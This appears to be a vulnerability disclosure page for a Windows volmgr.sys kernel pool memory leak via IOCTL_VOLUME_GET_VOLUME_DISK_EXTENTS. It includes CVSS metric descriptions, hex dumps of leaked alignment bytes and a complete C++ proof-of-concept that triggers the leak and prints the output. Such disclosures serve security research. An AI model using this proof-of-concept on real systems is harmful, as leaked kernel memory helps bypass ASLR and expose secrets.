The vulnerable system is not bound to the network stack and the attacker’s path is via read/write/execute capabilities. Either: the attacker exploits the vulnerability by accessing the target system locally (e.g., keyboard, console), or through terminal emulation (e.g., SSH); or the attacker relies on User Interaction by another person to perform actions required to exploit the vulnerability (e.g., using social engineering techniques to trick a legitimate user into opening a malicious document).
Attack Complexity
Low
AC
The attacker must take no measurable action to exploit the vulnerability. The attack requires no target-specific circumvention to exploit the vulnerability. An attacker can expect repeatable success against the vulnerable system.
Privileges Required
Low
PR
The attacker requires privileges that provide basic capabilities that are typically limited to settings and resources owned by a single low-privileged user. Alternatively, an attacker with Low privileges has the ability to access only non-sensitive resources.
User Interaction
None
UI
The vulnerable system can be exploited without interaction from any human user, other than the attacker. Examples include: a remote attacker is able to send packets to a target system a locally authenticated attacker executes code to elevate privileges
Scope
S
An exploited vulnerability can affect resources beyond the security scope managed by the security authority that is managing the vulnerable component. This is often referred to as a 'privilege escalation,' where the attacker can use the exploited vulnerability to gain control of resources that were not intended or authorized.
Confidentiality
High
C
There is total information disclosure, resulting in all data on the system being revealed to the attacker, or there is a possibility of the attacker gaining control over confidential data.
Integrity
High
I
There is a total compromise of system integrity. There is a complete loss of system protection, resulting in the attacker being able to modify any file on the target system.
Availability
High
A
There is a total shutdown of the affected resource. The attacker can deny access to the system or data, potentially causing significant loss to the organization.
Microsoft Windows 'IOCTL_VOLUME_GET_VOLUME_DISK_EXTENTS' volmgr Pool Memory Disclosure/*
We have discovered that the handler of the IOCTL_VOLUME_GET_VOLUME_DISK_EXTENTS IOCTL in volmgr.sys discloses portions of uninitialized pool memory to user-mode clients, due to output structure alignment holes.
On our test Windows 7 32-bit workstation, an example layout of the output buffer is as follows:
--- cut ---
00000000: 00 00 00 00 ff ff ff ff 00 00 00 00 ff ff ff ff ................
00000010: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
--- cut ---
Where 00 denote bytes which are properly initialized, while ff indicate uninitialized values copied back to user-mode. The output data is returned in a VOLUME_DISK_EXTENTS structure [1], which in turn contains a list of DISK_EXTENT structures [2]. If we map the above shadow bytes to the structure definitions, it turns out that the uninitialized bytes correspond to alignment holes after the NumberOfDiskExtents and DiskNumber fields (both of type DWORD, but there is an 8-byte alignment due to other LARGE_INTEGER fields). The concrete number of leaked bytes depends on the number of entries returned by the IOCTL.
The issue can be reproduced by running the attached proof-of-concept program on a system with the Special Pools mechanism enabled for ntoskrnl.exe. Then, it is clearly visible that bytes at the aforementioned offsets are equal to the markers inserted by Special Pools, and would otherwise contain leftover data that was previously stored in that memory region:
--- cut ---
00000000: 01 00 00 00[b3 b3 b3 b3]00 00 00 00[b3 b3 b3 b3]................
00000010: 00 00 50 06 00 00 00 00 00 00 90 39 06 00 00 00 ..P........9....
--- cut ---
Repeatedly triggering the vulnerability could allow local authenticated attackers to defeat certain exploit mitigations (kernel ASLR) or read other secrets stored in the kernel address space.
*/
#include <Windows.h>
#include <cstdio>
VOID PrintHex(PBYTE Data, ULONG dwBytes) {
for (ULONG i = 0; i < dwBytes; i += 16) {
printf("%.8x: ", i);
for (ULONG j = 0; j < 16; j++) {
if (i + j < dwBytes) {
printf("%.2x ", Data[i + j]);
}
else {
printf("?? ");
}
}
for (ULONG j = 0; j < 16; j++) {
if (i + j < dwBytes && Data[i + j] >= 0x20 && Data[i + j] <= 0x7e) {
printf("%c", Data[i + j]);
}
else {
printf(".");
}
}
printf("\n");
}
}
int main() {
// Open the disk device.
HANDLE hDisk = CreateFile(L"\\\\.\\C:",
0,
0,
NULL,
OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL,
NULL);
if (hDisk == INVALID_HANDLE_VALUE) {
printf("CreateFile failed, %d\n", GetLastError());
return 1;
}
// Obtain the output data, assuming that it will fit into 128 bytes.
BYTE extents[128];
DWORD BytesReturned;
if (!DeviceIoControl(hDisk, IOCTL_VOLUME_GET_VOLUME_DISK_EXTENTS, NULL, 0, &extents, sizeof(extents), &BytesReturned, NULL)) {
printf("DeviceIoControl failed, %d\n", GetLastError());
CloseHandle(hDisk);
return 1;
}
// Dump the output data on screen and free resources.
PrintHex(extents, BytesReturned);
CloseHandle(hDisk);
return 0;
}